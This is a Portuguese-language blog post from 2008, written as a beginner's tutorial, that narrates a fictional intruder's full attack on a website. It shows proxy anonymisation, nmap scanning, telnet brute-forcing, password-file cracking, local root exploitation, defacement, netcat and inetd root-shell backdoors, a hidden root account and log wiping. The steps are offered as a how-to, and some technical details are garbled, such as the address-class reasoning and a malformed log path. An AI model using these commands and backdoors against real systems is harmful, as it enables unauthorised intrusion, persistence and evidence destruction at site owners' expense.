sábado, 26 de abril de 2008

SIMPLES ATAQUE RACKER

EXEMPLO DE UM SIMPLES ATAQUE
HACKER PARA INICIANTES



Olá pessoal, estou escrevendo esse tópico porque muita gente que nunca
invadiu realmente não faz a mínima idéia de como é fazer tal coisa ou se já
invadiu não sabe o que fazer após "avançar entre as entranhas do alvo". Esse
pode ser um tópico bem idiota eu admito, mas com ele espero dar uma luz para os
iniciantes. Esse tópico vai mostrar o exemplo de um defacement. Como achar um
alvo vulnerável, como não ser pego em uma invasão, etc. Tudo isso em uma pequena
historinha fictícia, mas com ferramentas e vulnerablilidades reais. Vamos
começar.



(1-) O início:



Aqui o hacker que eu vou chamar de Jonathan criou um mirror(página criada para
fazer o defacement de um site substituindo-a pela original) em html. Ela tem um
fundo preto, com uma grande mensagem escrito "Exploited by Cyb3r_D14bl0" que se
trata do apelido hacker de Jonathan, além de uma foto criada por ele muito legal
no photoshop, sua marca registrada, além de um link que permite enviar um email
para ele próprio. John está frustrado e aborrecido porque não encontra nenhum
alvo vulnerável. Mas hoje Jonathan jurou que não sairia da frente do computador
até que conseguisse hackear um site. Jonathan então toma as primeiras
providências para o ataque.



(2-) Escondendo-se na rede:



O fato do mirror de Jonathan ser simples, não significa que ele é um imbecil.
Ele sabe que deve ocultar seu endereço ip ou será pego na primeira tentativa de
ataque. Jonathan começa acessando a página

http://www.stayinvisible.com
. Essa página mostra o endereço ip de
seus visitantes. O ip de Jonathan é 201.143.222.88. Então ele usa o programa
Anonymity4Proxy, e procura o endereço ip de um bom servidor proxy na grande
lista do programa. Ele encontra um servidor proxy no México marcado como high
anonymity(alto anonimato). Isso é bom para Jonathan. O endereço ip desse proxy é
67.154.22.224. Jonathan liga o computador do lado que está rodando Linux
slackware 10.2 (ele antes estava em outro com Windows XP sp2). Jonathan
configura os browsers e serviços adicionais de ambos os sistemas para que se
conectem ao proxy. Jonathan acessa a novamente a página

http://www.stayinvisible.com
e sorri ao ver que em ambos os
sistemas o seu ip não apareceu mais na página, e sim o ip do proxy que Jonathan
escolheu. Agora ele está anônimo e pronto para atacar.



(3-) FootPriting & FingerPriting. Invadindo...:



Nessa fase do ataque, Jonathan vai procurar por alvos vulneráveis e explorá-los
com o objetivo de invádi-los. Jonathan começa visitando alguns sites e de
repente, sem querer Jonathan acessa um site chamado

http://the-fact-pleasure.net
. Se trata de um site de pedofilia! Se
tem uma coisa que Jonathan odeia são os pedófilos. Jonathan escolheu seu
alvo(atenção esse site é fictício). Jonathan começa abrindo um terminal em seu
sistema linux e digitando o seguinte comando no terminal:



# ping -c4 the-fact-pleasure.net





Isso envia 4 pacotes do tipo icmp echo request para o site. Com isso Jonathan
pega o ip do site que é 208.194.22.126 e também Jonathan percebe que o site
normalmente respondeu a todos os pacotes. Isso significa que o firewall do site
não deve estar filtrando tráfego icmp. Jonathan analisa o esquema de
endereçamento ip e deduz as seguintes informações a respeito da rede do alvo:



(a-)Se trata de uma rede de classe C(o ip começa com 3 dígitos maior que 191).

(b-)A máscara da rede é de 255.255.255.0 (somente os últimos 3 digítos dos
endereços ips sofrem alterações).

(c-)Pode-se ter até 255 computadores na rede( 208.194.22.1 até 208.194.22.255).




Agora Jonathan deseja descobrir quais desses host estão online na rede, então
ele vai usar um ping scan utlizando-se do nmap para tal, usando a seguinte linha
de comando:



# nmap -sP -vv 208.194.22.1-255 > /home/log_hosts.txt



Após alguns minutos, Jonathan checa o log e ve que os seguintes hosts estão "alive":



208.194.22.12

208.194.22.17

208.194.22.56

208.194.22.88

208.194.22.100

208.194.22.115

208.194.22.126

208.194.22.201

208.194.22.211

208.194.22.253



Caso o servidor do site esteja muito protegido, Jonathan poderá tentar hackear
esses computadores para usa-los como "trampolin" para o servidor do site. Agora
ele vai fazer o teste de fingerpriting para pegar informações preciosas sobre o
servidor do site. O comando é o segunite:



# nmap -O -vv -sV 208.194.22.126





Esse teste retomou as seguintes informações:





as portas tcp 21,22,25 e 80 estão abertas. (Serviços ftp, ssh, smtp e http).

O sistema operacional é linux red hat 2.4.18 ou 2.4.19(sem certeza).

Na porta 21 está um servidor pureFTPD, na 22 um servidor open ssh 1.1, na 25 um
servidor qmail e por último um apache mod_ssl v 1.3.37]



Jonathan ja adquiriu bastante informações sobre o alvo até aqui. Mas ele deseja
saber mais ja que até aqui ele não encontrou uma vulnerabilidade perigosa que o
permita invadir o sistema. Ele tenta então traçar a rota para descobrir mais
informações a respeito do firewall do alvo, ele então digita o seguinte comando
no seu terminal:



# traceroute 208.194.22.126





Normalmente em um traçamento de rotas, o penúltimo salto é o firewall do alvo e
o penúltimo salto era o endereço ip 194.126.22.1. Agora ele tem o ip do possível
firewall do alvo. Para ter certeza ele faz o seguinte teste com o nmap:



# nmap -vv -O 194.126.22.1



Isso gerou o seguinte resultado:



(a-)as portas 1000 está abertas...

(b-) Device type: firewall/router





Agora Jonathan tem certeza de que se trata de um firewall e um firewall que ele
conhece muito bem. O Web min que é configurado via browser, Jonathan digita a
seguinte url no seu navegador konqueror do linux:

http://194.126.22.1:1000




Uma tela de login de administração de firewall acaba de se abrir no seu
navegador!



Em seguida, Jonathan scaneia a rede do firewall, apenas tentando localizar as
portas 79 e/ou 23 em algum computador aberto, para isso ele usa novamente o nmap
com o seguinte comando:



# nmap -sT -p23,79 -vv 194.126.22.2-255 > /home/log2.txt



Ao analisar o log, Jonathan ve que o host e194.126.22.131 está com as portas 23
e 79 abertas. Jonathan da o comando finger nesse host e enumera os seguintes
usuários:



root

mark

lizie

guest



Jonathan se utiliza do programa Brutus para fazer brute force no telnet e obtém
sucesso. A senha do root é $!#donothackit$!#



Jonathan invade o host e baixa os arquivos passwd e shadow, em seguida faz
cracking deles com o programa john the ripper. Ele deduz que os usuários podem
ser os mesmos para todos os hosts dessa rede, já que foram muito poucos os
computadores marcados como "alive".



Jonathan deduz correto. A conta login mark/password h4xor1234 é a conta do
administrador do firewall. Antes de simplesmente derrubar o firewall do alvo,
Jonathan faz outro teste com o nmap no site para descobrir quais portas estão
abertas, mas que estão sendo filtradas pelo firewall. Jonatham executa o
seguinte comando no seu terminal:



#nmap -sA -vv -p1-200 208.194.22.126



As seguintes portas estão marcadas como "unfiltered": 21,22,23,53,69,79,80,110



Bingo! Mais um telnet! Agora sim Jonathan invade o firewall derrubando-o e em
seguida da um finger no sistema. Jonathan consegue apenas enumerar o usuário
lilith. Ele usa novamente o brutus para fazer brute force no telnet e descobre a
senha do usuário lilith. Ele conseguiu uma shell remota em seu alvo com poderes
normais.



a saída foi:



[server04@lilith]$



Jonathan digita id e ve o que ele possui um uid = 1000 e um gid = 1000. Ele
precisa obter acesso root para fazer o defacement. Ele lembra da versão do
apache e tem uma idéia. Primeiro ele executa esse comando na shell:



$find /bin -perm +4000



Ele sorri ao ver que a sua conta hackeada tem permissão para usar o ftp. Ele
conecta em um ftp de um site hacker, baixa um exploit local que explora um bug
no apache. Em seguida Jonathan o compila:



$gcc -o gotRoot exploit_exemplo.c



E o executa....



Jonathan fica empolgado e a adrenalina no seu corpo aumenta. ele ve outra shell
em sua tela



[server04@root]#



Ele digita esses comandos só para confirmar



# id

# whoami



Ele está logado como root! Sem perder tempo ele executa o seguinte comando:



# whereis apache



a saida foi:



/home/root/apache



Basta executar:



# cd /home/root/apache

# cd htdocs



Jonathan executa um ls e pronto! Ele localiza o index1.html! Agora é hora de
desfigurar a página:



Ele remove a página usando o comando:



# rm index1.html



Em seguida ele vai transferir seu mirro via linha de comando. Seu computador
está com o serviço ativo de ftp, então Jonathan usa o servidor do site no seu
computador dando o seguinte comando:



# ftp 201.143.222.88 user Cyber pass Diablo



Após conectar, basta dar o seguinte comando:



> get index1.html



Agora Jonathan desconecta do seu ftp e move o mirror para o local da página
original com o seguinte comando:



mv /ftp-files/index1.html /home/root/apache/htdocs



Pronto, a página foi desfigurada! Agora Jonathan precisa dar um jeito de criar
suas backdoors e apagar seus rastros no sistema.



(4-) Backdoors:



Primeiramente, Jonathan foi para o diretório principal do sistema com o comando:



# cd /etc



Lá, ele editou o arquivo rc.local com o editor vi inserindo a seguinte linha de
comando nele:



nc -l -p 6012 -e /bin/sh



Isso lhe da uma shell imediata com poderes de root sem qualquer forma de
autenticação na porta tcp 6012 no próximo boot do sistema.



Jonathan cria uma conta pirata no sistema com poderes de root com o comando
adduser e depois altera os privilégios de uma conta qualquer para root, assim
despistando os administradores.



Por último, Jonathan percebe que o sistema é antigo, pois possui o arquivo
inetd.conf em /etc. Ele edita esse arquivo também com o vi inserond o nele o
seguinte conteúdo:



cool stream tcp nowait root /bin/sh -i



E depois também edita arquivo services com o seguinte conteúdo:



cool 775/tcp cnn



Mais uma shell para Jonathan....



Agora com suas backdoors, Jonathan vai apagar os logs do sistema para não ser
pego usando esses comandos:



# echo " " > /var/log/ossec/*.log

# echo " " > /home/root/apache/logs/*.log

# echo " " > ~ .bash_history

# echo " " > /var/log/ossec/*.log



Com isso todos os logs do sistema ficam com conteúdo em branco(nulo). Por
último, Jonathan da um reboot no sistema para suas backdoors serem ativadas, ele
desconecta do seu alvo e proxy. Jonathan sorri ao acessar

http://the-fact-pleasure.net
e visualizar seu mirror. E o melhor
de tud é que ele dificilmente vai ser pego por isso...



Bom gente é isso ai, espero que vocês gostem. Isso é ridiculo para os hackers
experientes desse fórum, mas espero ter ajudado os iniciantes a entenderem como
um ataque hacker é realizado. Foi um exemplo simples, mas espero que tenha
valido a pena. Abraço pra todos, fui.

Um comentário:

Unknown disse...

ta legal esse topico pow, ninguem nasce sabebdo !